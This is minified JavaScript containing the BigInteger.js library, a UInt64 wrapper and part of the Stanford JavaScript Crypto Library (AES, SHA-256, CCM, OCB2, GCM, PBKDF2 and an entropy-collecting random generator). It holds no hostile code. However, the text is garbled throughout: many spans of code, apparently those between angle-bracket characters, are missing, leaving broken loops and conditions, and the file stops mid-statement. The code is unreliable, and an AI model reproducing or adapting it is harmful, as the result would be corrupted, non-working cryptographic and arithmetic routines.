e=t.abs();return!e.isUnit()&&(!!(e.equals(2)||e.equals(3)||e.equals(5))||!(e.isEven()||e.isDivisibleBy(3)||e.isDivisibleBy(5))&&(!!e.lesser(49)||void 0))}function B(t,e){for(var r,n,i,o,a=t.prev(),c=a;c.isEven();)c=c.divide(2);for(i=0;i=0?n=m(t,e):(n=m(e,t),r=!r),"number"==typeof(n=h(n))?(r&&(n=-n),new c(n)):new a(n,r)}(r,n,this.sign)},a.prototype.minus=a.prototype.subtract,c.prototype.subtract=function(t){var e=V(t),r=this.value;if(r<0!==e.sign)return this.add(e.negate());var n=e.value;return e.isSmall?new c(r-n):b(n,Math.abs(r),r>=0)},c.prototype.minus=c.prototype.subtract,a.prototype.negate=function(){return new a(this.value,!this.sign)},c.prototype.negate=function(){var t=this.sign,e=new c(-this.value);return e.sign=!t,e},a.prototype.abs=function(){return new a(this.value,!1)},c.prototype.abs=function(){return new c(Math.abs(this.value))},a.prototype.multiply=function(t){var r,n,i,o=V(t),c=this.value,l=o.value,h=this.sign!==o.sign;if(o.isSmall){if(0===l)return s[0];if(1===l)return this;if(-1===l)return this.negate();if((r=Math.abs(l))0?function t(e,r){var n=Math.max(e.length,r.length);if(n<=30)return w(e,r);n=Math.ceil(n/2);var i=e.slice(n),o=e.slice(0,n),s=r.slice(n),a=r.slice(0,n),c=t(o,a),l=t(i,s),u=y(y(c,S(m(m(t(y(o,i),y(a,s)),c),l),n)),S(l,2*n));return p(u),u}(c,l):w(c,l),h)},a.prototype.times=a.prototype.multiply,c.prototype._multiplyBySmall=function(t){return l(t.value*this.value)?new c(t.value*this.value):A(Math.abs(t.value),u(Math.abs(this.value)),this.sign!==t.sign)},a.prototype._multiplyBySmall=function(t){return 0===t.value?s[0]:1===t.value?this:-1===t.value?this.negate():A(Math.abs(t.value),this.value,this.sign!==t.sign)},c.prototype.multiply=function(t){return V(t)._multiplyBySmall(this)},c.prototype.times=c.prototype.multiply,a.prototype.square=function(){return new a(x(this.value),!1)},c.prototype.square=function(){var t=this.value*this.value;return l(t)?new c(t):new a(x(u(Math.abs(this.value))),!1)},a.prototype.divmod=function(t){var e=_(this,t);return{quotient:e[0],remainder:e[1]}},c.prototype.divmod=a.prototype.divmod,a.prototype.divide=function(t){return _(this,t)[0]},c.prototype.over=c.prototype.divide=a.prototype.over=a.prototype.divide,a.prototype.mod=function(t){return _(this,t)[1]},c.prototype.remainder=c.prototype.mod=a.prototype.remainder=a.prototype.mod,a.prototype.pow=function(t){var e,r,n,i=V(t),o=this.value,a=i.value;if(0===a)return s[1];if(0===o)return s[0];if(1===o)return s[1];if(-1===o)return i.isEven()?s[1]:s[-1];if(i.sign)return s[0];if(!i.isSmall)throw new Error("The exponent "+i.toString()+" is too large.");if(this.isSmall&&l(e=Math.pow(o,a)))return new c(g(e));for(r=this,n=s[1];!0&a&&(n=n.times(r),--a),0!==a;)a/=2,r=r.square();return n},c.prototype.pow=a.prototype.pow,a.prototype.modPow=function(t,e){if(t=V(t),(e=V(e)).isZero())throw new Error("Cannot take modPow with modulus 0");for(var r=s[1],n=this.mod(e);t.isPositive();){if(n.isZero())return s[0];t.isOdd()&&(r=r.multiply(n).mod(e)),t=t.divide(2),n=n.square().mod(e)}return r},c.prototype.modPow=a.prototype.modPow,a.prototype.compareAbs=function(t){var e=V(t),r=this.value,n=e.value;return e.isSmall?1:L(r,n)},c.prototype.compareAbs=function(t){var e=V(t),r=Math.abs(this.value),n=e.value;return e.isSmall?r===(n=Math.abs(n))?0:r>n?1:-1:-1},a.prototype.compare=function(t){if(t===1/0)return-1;if(t===-1/0)return 1;var e=V(t),r=this.value,n=e.value;return this.sign!==e.sign?e.sign?1:-1:e.isSmall?this.sign?-1:1:L(r,n)*(this.sign?-1:1)},a.prototype.compareTo=a.prototype.compare,c.prototype.compare=function(t){if(t===1/0)return-1;if(t===-1/0)return 1;var e=V(t),r=this.value,n=e.value;return e.isSmall?r==n?0:r>n?1:-1:r<0!==e.sign?r<0?-1:1:r<0?1:-1},c.prototype.compareTo=c.prototype.compare,a.prototype.equals=function(t){return 0===this.compare(t)},c.prototype.eq=c.prototype.equals=a.prototype.eq=a.prototype.equals,a.prototype.notEquals=function(t){return 0!==this.compare(t)},c.prototype.neq=c.prototype.notEquals=a.prototype.neq=a.prototype.notEquals,a.prototype.greater=function(t){return this.compare(t)>0},c.prototype.gt=c.prototype.greater=a.prototype.gt=a.prototype.greater,a.prototype.lesser=function(t){return this.compare(t)<0},c.prototype.lt=c.prototype.lesser=a.prototype.lt=a.prototype.lesser,a.prototype.greaterOrEquals=function(t){return this.compare(t)>=0},c.prototype.geq=c.prototype.greaterOrEquals=a.prototype.geq=a.prototype.greaterOrEquals,a.prototype.lesserOrEquals=function(t){return this.compare(t)<=0},c.prototype.leq=c.prototype.lesserOrEquals=a.prototype.leq=a.prototype.lesserOrEquals,a.prototype.isEven=function(){return 0==(1&this.value[0])},c.prototype.isEven=function(){return 0==(1&this.value)},a.prototype.isOdd=function(){return 1==(1&this.value[0])},c.prototype.isOdd=function(){return 1==(1&this.value)},a.prototype.isPositive=function(){return!this.sign},c.prototype.isPositive=function(){return this.value>0},a.prototype.isNegative=function(){return this.sign},c.prototype.isNegative=function(){return this.value<0},a.prototype.isUnit=function(){return!1},c.prototype.isUnit=function(){return 1===Math.abs(this.value)},a.prototype.isZero=function(){return!1},c.prototype.isZero=function(){return 0===this.value},a.prototype.isDivisibleBy=function(t){var e=V(t),r=e.value;return 0!==r&&(1===r||(2===r?this.isEven():this.mod(e).equals(s[0])))},c.prototype.isDivisibleBy=a.prototype.isDivisibleBy,a.prototype.isPrime=function(){var t=I(this);return void 0!==t?t:B(this.abs(),[2,325,9375,28178,450775,9780504,1795265022])},c.prototype.isPrime=a.prototype.isPrime,a.prototype.isProbablePrime=function(t){var e=I(this);if(void 0!==e)return e;for(var r=this.abs(),n=void 0===t?5:t,i=[],o=0;o-n?new c(t-1):new a(i,!0)};for(var M=[1];2*M[M.length-1]<=e;)M.push(2*M[M.length-1]);var O=M.length,C=M[O-1];function k(t){return("number"==typeof t||"string"==typeof t)&&+Math.abs(t)<=e||t instanceof a&&t.value.length<=1}function N(t,e,r){e=V(e);for(var n=t.isNegative(),i=e.isNegative(),o=n?t.not():t,s=i?e.not():e,a=0,c=0,l=null,u=null,h=[];!o.isZero()||!s.isZero();)a=(l=_(o,C))[1].toJSNumber(),n&&(a=C-1-a),c=(u=_(s,C))[1].toJSNumber(),i&&(c=C-1-c),o=l[0],s=u[0],h.push(r(a,c));for(var p=0!==r(n?1:0,i?1:0)?bigInt(-1):bigInt(0),f=h.length-1;f>=0;f-=1)p=p.multiply(C).add(bigInt(h[f]));return p}a.prototype.shiftLeft=function(t){if(!k(t))throw new Error(String(t)+" is too large for shifting.");if((t=+t)<0)return this.shiftRight(-t);var e=this;if(e.isZero())return e;for(;t>=O;)e=e.multiply(C),t-=O-1;return e.multiply(M[t])},c.prototype.shiftLeft=a.prototype.shiftLeft,a.prototype.shiftRight=function(t){var e;if(!k(t))throw new Error(String(t)+" is too large for shifting.");if((t=+t)<0)return this.shiftLeft(-t);for(var r=this;t>=O;){if(r.isZero()||r.isNegative()&&r.isUnit())return r;r=(e=_(r,C))[1].isNegative()?e[0].prev():e[0],t-=O-1}return(e=_(r,M[t]))[1].isNegative()?e[0].prev():e[0]},c.prototype.shiftRight=a.prototype.shiftRight,a.prototype.not=function(){return this.negate().prev()},c.prototype.not=a.prototype.not,a.prototype.and=function(t){return N(this,t,function(t,e){return t&e})},c.prototype.and=a.prototype.and,a.prototype.or=function(t){return N(this,t,function(t,e){return t|e})},c.prototype.or=a.prototype.or,a.prototype.xor=function(t){return N(this,t,function(t,e){return t^e})},c.prototype.xor=a.prototype.xor;var q=1<<30,P=(e&-e)*(e&-e)|q;function U(t){var r=t.value,n="number"==typeof r?r|q:r[0]+r[1]*e|P;return n&-n}function R(t,e){return t=V(t),e=V(e),t.greater(e)?t:e}function T(t,e){return t=V(t),e=V(e),t.lesser(e)?t:e}function z(t,e){if(t=V(t).abs(),e=V(e).abs(),t.equals(e))return t;if(t.isZero())return e;if(e.isZero())return t;for(var r,n,i=s[1];t.isEven()&&e.isEven();)r=Math.min(U(t),U(e)),t=t.divide(r),e=e.divide(r),i=i.multiply(r);for(;t.isEven();)t=t.divide(U(t));do{for(;e.isEven();)e=e.divide(U(e));t.greater(e)&&(n=e,e=t,t=n),e=e.subtract(t)}while(!e.isZero());return i.isUnit()?t:t.multiply(i)}a.prototype.bitLength=function(){var t=this;return t.compareTo(bigInt(0))<0&&(t=t.negate().subtract(bigInt(1))),0===t.compareTo(bigInt(0))?bigInt(0):bigInt(function t(e,r){if(r.compareTo(e)<=0){var n=t(e,r.square(r)),i=n.p,o=n.e,s=i.multiply(r);return s.compareTo(e)<=0?{p:s,e:2*o+1}:{p:i,e:2*o}}return{p:bigInt(1),e:0}}(t,bigInt(2)).e).add(bigInt(1))},c.prototype.bitLength=a.prototype.bitLength;var D=function(t,e){for(var r=t.length,n=Math.abs(e),i=0;i=n){if("1"===u&&1===n)continue;throw new Error(u+" is not a valid digit in base "+e+".")}if(u.charCodeAt(0)-87>=n)throw new Error(u+" is not a valid digit in base "+e+".")}}if(2<=e&&e<=36&&r<=o/Math.log(e)){var s=parseInt(t,e);if(isNaN(s))throw new Error(u+" is not a valid digit in base "+e+".");return new c(parseInt(t,e))}e=V(e);var a=[],l="-"===t[0];for(i=l?1:0;i"!==t[i]);a.push(V(t.slice(p+1,i)))}}return G(a,e,l)};function G(t,e,r){var n,i=s[0],o=s[1];for(n=t.length-1;n>=0;n--)i=i.add(t[n].times(o)),o=o.times(e);return r?i.negate():i}function Z(t){return t<=35?"0123456789abcdefghijklmnopqrstuvwxyz".charAt(t):"<"+t+">"}function J(t,e){if((e=bigInt(e)).isZero()){if(t.isZero())return{value:[0],isNegative:!1};throw new Error("Cannot convert nonzero numbers to base 0.")}if(e.equals(-1)){if(t.isZero())return{value:[0],isNegative:!1};if(t.isNegative())return{value:[].concat.apply([],Array.apply(null,Array(-t)).map(Array.prototype.valueOf,[1,0])),isNegative:!1};var r=Array.apply(null,Array(+t-1)).map(Array.prototype.valueOf,[0,1]);return r.unshift([1]),{value:[].concat.apply([],r),isNegative:!1}}var n=!1;if(t.isNegative()&&e.isPositive()&&(n=!0,t=t.abs()),e.equals(1))return t.isZero()?{value:[0],isNegative:!1}:{value:Array.apply(null,Array(+t)).map(Number.prototype.valueOf,1),isNegative:n};for(var i,o=[],s=t;s.isNegative()||s.compareAbs(e)>=0;){s=(i=s.divmod(e)).quotient;var a=i.remainder;a.isNegative()&&(a=e.minus(a).abs(),s=s.next()),o.push(a.toJSNumber())}return o.push(s.toJSNumber()),{value:o.reverse(),isNegative:n}}function F(t,e){var r=J(t,e);return(r.isNegative?"-":"")+r.value.map(Z).join("")}function H(t){if(l(+t)){var e=+t;if(e===g(e))return new c(e);throw new Error("Invalid integer: "+t)}var n="-"===t[0];n&&(t=t.slice(1));var i=t.split(/e/i);if(i.length>2)throw new Error("Invalid integer: "+i.join("e"));if(2===i.length){var o=i[1];if("+"===o[0]&&(o=o.slice(1)),(o=+o)!==g(o)||!l(o))throw new Error("Invalid integer: "+o+" is not a valid exponent.");var s=i[0],u=s.indexOf(".");if(u>=0&&(o-=s.length-u-1,s=s.slice(0,u)+s.slice(u+1)),o<0)throw new Error("Cannot include negative exponent part for integers");t=s+=new Array(o+1).join("0")}if(!/^([0-9][0-9]*)$/.test(t))throw new Error("Invalid integer: "+t);for(var h=[],f=t.length,d=r,y=f-d;f>0;)h.push(+t.slice(y,f)),(y-=d)<0&&(y=0),f-=d;return p(h),new a(h,n)}function V(t){return"number"==typeof t?function(t){if(l(t)){if(t!==g(t))throw new Error(t+" is not an integer.");return new c(t)}return H(t.toString())}(t):"string"==typeof t?H(t):t}a.prototype.toArray=function(t){return J(this,t)},c.prototype.toArray=function(t){return J(this,t)},a.prototype.toString=function(t){if(void 0===t&&(t=10),10!==t)return F(this,t);for(var e,r=this.value,n=r.length,i=String(r[--n]);--n>=0;)e=String(r[n]),i+="0000000".slice(e.length)+e;return(this.sign?"-":"")+i},c.prototype.toString=function(t){return void 0===t&&(t=10),10!=t?F(this,t):String(this.value)},a.prototype.toJSON=c.prototype.toJSON=function(){return this.toString()},a.prototype.valueOf=function(){return parseInt(this.toString(),10)},a.prototype.toJSNumber=a.prototype.valueOf,c.prototype.valueOf=function(){return this.value},c.prototype.toJSNumber=c.prototype.valueOf;for(var W=0;W<1e3;W++)s[W]=new c(W),W>0&&(s[-W]=new c(-W));return s.one=s[1],s.zero=s[0],s.minusOne=s[-1],s.max=R,s.min=T,s.gcd=z,s.lcm=function(t,e){return t=V(t).abs(),e=V(e).abs(),t.divide(z(t,e)).multiply(e)},s.isInstance=function(t){return t instanceof a||t instanceof c},s.randBetween=function(t,r){var n=T(t=V(t),r=V(r)),i=R(t,r).subtract(n).add(1);if(i.isSmall)return n.add(Math.floor(Math.random()*i));for(var o=[],s=!0,l=i.value.length-1;l>=0;l--){var u=s?i.value[l]:e,p=g(Math.random()*u);o.unshift(p),p64)throw new Error(e+"(): Number is not a 64bit integer")}function i(t){var e="0000000000000000"+t.toString(16);return e.substr(e.length-16,16)}this.x64=bigInt(t,e),n(this.x64.bitLength(),"init"),this.x64.toString64=function(){return("0000000000000000"+r).substr(-16)},this.x64.toString32=function(){return("00000000"+r).substr(-8)},this.x64.toString16=function(){return("0000"+r).substr(-4)},this.x64.toString8=function(){return("00"+r).substr(-2)},this.x64.add=function(t){var e=this.__proto__.add.call(this,t);return n(e.bitLength(),"add"),new UInt64(e.toString(16))},this.x64.plus=function(t){return this.add.call(this,t)},this.x64.subtract=function(t){var e=this.__proto__.subtract.call(this,t);return n(e.bitLength(),"subtract"),new UInt64(e.toString(16))},this.x64.minus=function(t){return this.subtract.call(this,t)},this.x64.negate=function(){var t=this.__proto__.negate.call(this);return n(t.bitLength(),"negate"),new UInt64(t.toString(16))},this.x64.abs=function(){var t=this.__proto__.abs.call(this);return n(t.bitLength(),"abs"),new UInt64(t.toString(16))},this.x64.multiply=function(t){var e=this.__proto__.multiply.call(this,t);return n(e.bitLength(),"multiply"),new UInt64(e.toString(16))},this.x64.times=function(t){return this.multiply.call(this,t)},this.x64._multiplyBySmall=function(t){var e=this.__proto__._multiplyBySmall.call(this,t);return n(e.bitLength(),"_multiplyBySmall"),new UInt64(e.toString(16))},this.x64.square=function(){var t=this.__proto__.square.call(this);return n(t.bitLength(),"square"),new UInt64(t.toString(16))},this.x64.divide=function(t){var e=this.__proto__.divide.call(this,t);return n(e.bitLength(),"divide"),new UInt64(e.toString(16))},this.x64.mod=function(t){var e=this.__proto__.mod.call(this,t);return n(e.bitLength(),"mod"),new UInt64(e.toString(16))},this.x64.pow=function(t){var e=this.__proto__.pow.call(this,t);return n(e.bitLength(),"pow"),new UInt64(e.toString(16))},this.x64.modInv=function(t){var e=this.__proto__.modInv.call(this,t);return n(e.bitLength(),"modInv"),new UInt64(e.toString(16))},this.x64.next=function(){var t=this.__proto__.next.call(this);return n(t.bitLength(),"next"),new UInt64(t.toString(16))},this.x64.prev=function(){var t=this.__proto__.prev.call(this);return n(t.bitLength(),"prev"),new UInt64(t.toString(16))},this.x64.shiftLeft=function(t){var e=this.__proto__.shiftLeft.call(this,t);return n(e.bitLength(),"shiftLeft"),new UInt64(e.toString(16))},this.x64.shiftRight=function(t){var e=this.__proto__.shiftRight.call(this,t);return n(e.bitLength(),"shiftRight"),new UInt64(e.toString(16))},this.x64.and=function(t){var e=this.__proto__.and.call(this,t);return n(e.bitLength(),"and"),new UInt64(e.toString(16))},this.x64.or=function(t){var e=this.__proto__.or.call(this,t);return n(e.bitLength(),"or"),new UInt64(e.toString(16))},this.x64.not=function(){var t=this.__proto__.not.call(this);return n(t.bitLength(),"not"),new UInt64(t.toString(16))},this.x64.xor=function(t){var e=this.__proto__.xor.call(this,t);return n(e.bitLength(),"xor"),new UInt64(e.toString(16))},this.x64.hi32=function(){return n(this.bitLength(),"hi32"),parseInt(i(this).substr(0,8),16)},this.x64.lo32=function(){return n(this.bitLength(),"lo32"),parseInt(i(this).substr(8,8),16)}}},sjcl={cipher:{},hash:{},keyexchange:{},mode:{},misc:{},codec:{},exception:{corrupt:function(t){this.toString=function(){return"CORRUPT: "+this.message},this.message=t},invalid:function(t){this.toString=function(){return"INVALID: "+this.message},this.message=t},bug:function(t){this.toString=function(){return"BUG: "+this.message},this.message=t},notReady:function(t){this.toString=function(){return"NOT READY: "+this.message},this.message=t}}};function t(t,e,r){if(4!==e.length)throw new sjcl.exception.invalid("invalid aes block size");var n=t.b[r],i=e[0]^n[0],o=e[r?3:1]^n[1],s=e[2]^n[2];e=e[r?1:3]^n[3];var a,c,l,u,h=n.length/4-2,p=4,f=[0,0,0,0];t=(a=t.s[r])[0];var g=a[1],d=a[2],y=a[3],v=a[4];for(u=0;u>>24]^g[o>>16&255]^d[s>>8&255]^y[255&e]^n[p],c=t[o>>>24]^g[s>>16&255]^d[e>>8&255]^y[255&i]^n[p+1],l=t[s>>>24]^g[e>>16&255]^d[i>>8&255]^y[255&o]^n[p+2],e=t[e>>>24]^g[i>>16&255]^d[o>>8&255]^y[255&s]^n[p+3],p+=4,i=a,o=c,s=l;for(u=0;4>u;u++)f[r?3&-u:u]=v[i>>>24]<<24^v[o>>16&255]<<16^v[s>>8&255]<<8^v[255&e]^n[p++],a=i,i=o,o=s,s=e,e=a;return f}function u(t,e){var r,n,i,o=t.F,s=t.b,a=o[0],c=o[1],l=o[2],u=o[3],h=o[4],p=o[5],f=o[6],g=o[7];for(r=0;64>r;r++)16>r?n=e[r]:(n=e[r+1&15],i=e[r+14&15],n=e[15&r]=(n>>>7^n>>>18^n>>>3^n<<25^n<<14)+(i>>>17^i>>>19^i>>>10^i<<15^i<<13)+e[15&r]+e[r+9&15]|0),n=n+g+(h>>>6^h>>>11^h>>>25^h<<26^h<<21^h<<7)+(f^h&(p^f))+s[r],g=f,f=p,p=h,h=u+n|0,u=l,l=c,a=n+((c=a)&l^u&(c^l))+(c>>>2^c>>>13^c>>>22^c<<30^c<<19^c<<10)|0;o[0]=o[0]+a|0,o[1]=o[1]+c|0,o[2]=o[2]+l|0,o[3]=o[3]+u|0,o[4]=o[4]+h|0,o[5]=o[5]+p|0,o[6]=o[6]+f|0,o[7]=o[7]+g|0}function A(t,e){var r,n=sjcl.random.K[t],i=[];for(r in n)n.hasOwnProperty(r)&&i.push(n[r]);for(r=0;re&&(t.h[e]=t.h[e]+1|0,!t.h[e]);e++);return t.L.encrypt(t.h)}function B(t,e){return function(){e.apply(t,arguments)}}sjcl.cipher.aes=function(t){this.s[0][0][0]||this.O();var e,r,n,i,o=this.s[0][4],s=this.s[1],a=1;if(4!==(e=t.length)&&6!==e&&8!==e)throw new sjcl.exception.invalid("invalid aes key size");for(this.b=[n=t.slice(0),i=[]],t=e;t<4*e+28;t++)r=n[t-1],(0==t%e||8===e&&4==t%e)&&(r=o[r>>>24]<<24^o[r>>16&255]<<16^o[r>>8&255]<<8^o[255&r],0==t%e&&(r=r<<8^r>>>24^a<<24,a=a<<1^283*(a>>7))),n[t]=n[t-e]^r;for(e=0;t;e++,t--)r=n[3&e?t:t-4],i[e]=4>=t||4>e?r:s[0][o[r>>>24]]^s[1][o[r>>16&255]]^s[2][o[r>>8&255]]^s[3][o[255&r]]},sjcl.cipher.aes.prototype={encrypt:function(e){return t(this,e,0)},decrypt:function(e){return t(this,e,1)},s:[[[],[],[],[],[]],[[],[],[],[],[]]],O:function(){var t,e,r,n,i,o,s,a=this.s[0],c=this.s[1],l=a[4],u=c[4],h=[],p=[];for(t=0;256>t;t++)p[(h[t]=t<<1^283*(t>>7))^t]=t;for(e=r=0;!l[e];e^=n||1,r=p[r]||1)for(o=(o=r^r<<1^r<<2^r<<3^r<<4)>>8^255&o^99,l[e]=o,u[o]=e,s=16843009*(i=h[t=h[n=h[e]]])^65537*t^257*n^16843008*e,i=257*h[o]^16843008*o,t=0;4>t;t++)a[t][e]=i=i<<24^i>>>8,c[t][o]=s=s<<24^s>>>8;for(t=0;5>t;t++)a[t]=a[t].slice(0),c[t]=c[t].slice(0)}},sjcl.bitArray={bitSlice:function(t,e,r){return t=sjcl.bitArray.$(t.slice(e/32),32-(31&e)).slice(1),void 0===r?t:sjcl.bitArray.clamp(t,r-e)},extract:function(t,e,r){var n=Math.floor(-e-r&31);return(-32&(e+r-1^e)?t[e/32|0]<<32-n^t[e/32+1|0]>>>n:t[e/32|0]>>>n)&(1<>e-1,1)),t},partial:function(t,e,r){return 32===t?e:(r?0|e:e<<32-t)+1099511627776*t},getPartial:function(t){return Math.round(t/1099511627776)||32},equal:function(t,e){if(sjcl.bitArray.bitLength(t)!==sjcl.bitArray.bitLength(e))return!1;var r,n=0;for(r=0;r>>e),r=t[i]<<32-e;return i=t.length?t[t.length-1]:0,t=sjcl.bitArray.getPartial(i),n.push(sjcl.bitArray.partial(e+t&31,32>>24|r>>>8&65280|(65280&r)<<8|r<<24;return t}},sjcl.codec.utf8String={fromBits:function(t){var e,r,n="",i=sjcl.bitArray.bitLength(t);for(e=0;e>>8>>>8>>>8),r<<=8;return decodeURIComponent(escape(n))},toBits:function(t){t=unescape(encodeURIComponent(t));var e,r=[],n=0;for(e=0;e>>s)>>>i),s(n=l.indexOf(t.charAt(r)))){if(!e)try{return sjcl.codec.base32hex.toBits(t)}catch(t){}throw new sjcl.exception.invalid("this isn't "+h+"!")}c>s?(c-=s,a.push(u^n>>>c),u=n<>>i)>>>26),6>i?(s=t[r]<<6-i,i+=26,r++):(s<<=6,i-=6);for(;3&n.length&&!e;)n+="=";return n},toBits:function(t,e){t=t.replace(/\s|=/g,"");var r,n,i=[],o=0,s=sjcl.codec.base64.B,a=0;for(e&&(s=s.substr(0,62)+"-_"),r=0;r(n=s.indexOf(t.charAt(r))))throw new sjcl.exception.invalid("this isn't base64!");26>>o),a=n<<32-o):a^=n<<32-(o+=6)}return 56&o&&i.push(sjcl.bitArray.partial(56&o,a,1)),i}},sjcl.codec.base64url={fromBits:function(t){return sjcl.codec.base64.fromBits(t,1,1)},toBits:function(t){return sjcl.codec.base64.toBits(t,1)}},sjcl.hash.sha256=function(t){this.b[0]||this.O(),t?(this.F=t.F.slice(0),this.A=t.A.slice(0),this.l=t.l):this.reset()},sjcl.hash.sha256.hash=function(t){return(new sjcl.hash.sha256).update(t).finalize()},sjcl.hash.sha256.prototype={blockSize:512,reset:function(){return this.F=this.Y.slice(0),this.A=[],this.l=0,this},update:function(t){"string"==typeof t&&(t=sjcl.codec.utf8String.toBits(t));var e,r=this.A=sjcl.bitArray.concat(this.A,t);if(e=this.l,9007199254740991<(t=this.l=e+sjcl.bitArray.bitLength(t)))throw new sjcl.exception.invalid("Cannot hash more than 2^53 - 1 bits");if("undefined"!=typeof Uint32Array){var n=new Uint32Array(r),i=0;for(e=512+e-(512+e&511);e<=t;e+=512)u(this,n.subarray(16*i,16*(i+1))),i+=1;r.splice(0,16*i)}else for(e=512+e-(512+e&511);e<=t;e+=512)u(this,r.splice(0,16));return this},finalize:function(){var t,e=this.A,r=this.F;for(t=(e=sjcl.bitArray.concat(e,[sjcl.bitArray.partial(1,1)])).length+2;15&t;t++)e.push(0);for(e.push(Math.floor(this.l/4294967296)),e.push(0|this.l);e.length;)u(this,e.splice(0,16));return this.reset(),r},Y:[],b:[],O:function(){function t(t){return 4294967296*(t-Math.floor(t))|0}for(var e,r,n=0,i=2;64>n;i++){for(r=!0,e=2;e*e<=i;e++)if(0==i%e){r=!1;break}r&&(8>n&&(this.Y[n]=t(Math.pow(i,.5))),this.b[n]=t(Math.pow(i,1/3)),n++)}}},sjcl.mode.ccm={name:"ccm",G:[],listenProgress:function(t){sjcl.mode.ccm.G.push(t)},unListenProgress:function(t){-1<(t=sjcl.mode.ccm.G.indexOf(t))&&sjcl.mode.ccm.G.splice(t,1)},fa:function(t){var e,r=sjcl.mode.ccm.G.slice();for(e=0;ec)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(o=2;4>o&&l>>>8*o;o++);return o<15-c&&(o=15-c),r=a.clamp(r,8*(15-o)),e=sjcl.mode.ccm.V(t,e,r,n,i,o),s=sjcl.mode.ccm.C(t,s,r,e,i,o),a.concat(s.data,s.tag)},decrypt:function(t,e,r,n,i){i=i||64,n=n||[];var o=sjcl.bitArray,s=o.bitLength(r)/8,a=o.bitLength(e),c=o.clamp(e,a-i),l=o.bitSlice(e,a-i);a=(a-i)/8;if(7>s)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(e=2;4>e&&a>>>8*e;e++);if(e<15-s&&(e=15-s),r=o.clamp(r,8*(15-e)),c=sjcl.mode.ccm.C(t,c,r,l,i,e),t=sjcl.mode.ccm.V(t,c.data,r,n,i,e),!o.equal(c.tag,t))throw new sjcl.exception.corrupt("ccm: tag doesn't match");return c.data},na:function(t,e,r,n,i,o){var s=[],a=sjcl.bitArray,c=a.i;if(n=[a.partial(8,(e.length?64:0)|n-2<<2|o-1)],(n=a.concat(n,r))[3]|=i,n=t.encrypt(n),e.length)for(65279>=(r=a.bitLength(e)/8)?s=[a.partial(16,r)]:4294967295>=r&&(s=a.concat([a.partial(16,65534)],[r])),s=a.concat(s,e),e=0;ei||16u&&(sjcl.mode.ccm.fa(s/c),u+=h),r[3]++,i=t.encrypt(r),e[s]^=i[0],e[s+1]^=i[1],e[s+2]^=i[2],e[s+3]^=i[3];return{tag:n,data:a.clamp(e,l)}}},sjcl.mode.ocb2={name:"ocb2",encrypt:function(t,e,r,n,i,o){if(128!==sjcl.bitArray.bitLength(r))throw new sjcl.exception.invalid("ocb iv must be 128 bits");var s,a=sjcl.mode.ocb2.S,c=sjcl.bitArray,l=c.i,u=[0,0,0,0];r=a(t.encrypt(r));var h,p=[];for(n=n||[],i=i||64,s=0;s+4i.bitLength(r)&&(a=o(a,n(a)),r=i.concat(r,[-2147483648,0,0,0])),s=o(s,r),t.encrypt(o(n(o(a,n(a))),s))},S:function(t){return[t[0]<<1^t[1]>>>31,t[1]<<1^t[2]>>>31,t[2]<<1^t[3]>>>31,t[3]<<1^135*(t[0]>>>31)]}},sjcl.mode.gcm={name:"gcm",encrypt:function(t,e,r,n,i){var o=e.slice(0);return e=sjcl.bitArray,n=n||[],t=sjcl.mode.gcm.C(!0,t,o,n,r,i||128),e.concat(t.data,t.tag)},decrypt:function(t,e,r,n,i){var o=e.slice(0),s=sjcl.bitArray,a=s.bitLength(o);if(n=n||[],(i=i||128)<=a?(e=s.bitSlice(o,a-i),o=s.bitSlice(o,0,a-i)):(e=o,o=[]),t=sjcl.mode.gcm.C(!1,t,o,n,r,i),!s.equal(t.tag,e))throw new sjcl.exception.corrupt("gcm: tag doesn't match");return t.data},ka:function(t,e){var r,n,i,o,s,a=sjcl.bitArray.i;for(i=[0,0,0,0],o=e.slice(0),r=0;128>r;r++){for((n=0!=(t[Math.floor(r/32)]&1<<31-r%32))&&(i=a(i,o)),s=0!=(1&o[3]),n=3;0>>1|(1&o[n-1])<<31;o[0]>>>=1,s&&(o[0]^=-520093696)}return i},j:function(t,e,r){var n,i=r.length;for(e=e.slice(0),n=0;ni&&(t=e.hash(t)),r=0;rn||0>r)throw new sjcl.exception.invalid("invalid params to pbkdf2");"string"==typeof t&&(t=sjcl.codec.utf8String.toBits(t)),"string"==typeof e&&(e=sjcl.codec.utf8String.toBits(e)),t=new(i=i||sjcl.misc.hmac)(t);var o,s,a,c,l=[],u=sjcl.bitArray;for(c=1;32*l.length<(n||1);c++){for(i=o=t.encrypt(u.concat(e,[c])),s=1;so;o++)n.push(4294967296*Math.random()|0);for(o=0;o=1<this.o&&(this.o=s),this.P++,this.b=sjcl.hash.sha256.hash(this.b.concat(n)),this.L=new sjcl.cipher.aes(this.b),r=0;4>r&&(this.h[r]=this.h[r]+1|0,!this.h[r]);r++);}for(r=0;r>>=1;this.c[s].update([n,this.N++,2,e,o,t.length].concat(t))}break;case"string":void 0===e&&(e=t.length),this.c[s].update([n,this.N++,3,e,o,t.length]),this.c[s].update(t);break;default:c=1}if(c)throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");this.m[s]+=e,this.f+=e,a===this.u&&(this.isReady()!==this.u&&A("seeded",Math.max(this.o,this.f)),A("progress",this.getProgress()))},isReady:function(t){return t=this.T[void 0!==t?t:this.M],this.o&&this.o>=t?this.m[0]>this.ba&&(new Date).valueOf()>this.Z?this.J|this.I:this.I:this.f>=t?this.J|this.u:this.u},getProgress:function(t){return t=this.T[t||this.M],this.o>=t?1:this.f>t?1:this.f/t},startCollectors:function(){if(!this.D){if(this.a={loadTimeCollector:B(this,this.ma),mouseCollector:B(this,this.oa),keyboardCollector:B(this,this.la),accelerometerCollector:B(this,this.ea),touchCollector:B(this,this.qa)},window.addEventListener)window.addEventListener("load",this.a.loadTimeCollector,!1),window.addEventListener("mousemove",this.a.mouseCollector,!1),window.addEventListener("keypress",this.a.keyboardCollector,!1),window.addEventListener("devicemotion",this.a.accelerometerCollector,!1),window.addEventListener("touchmove",this.a.touchCollector,!1);else{if(!document.attachEvent)throw new sjcl.exception.bug("can't attach 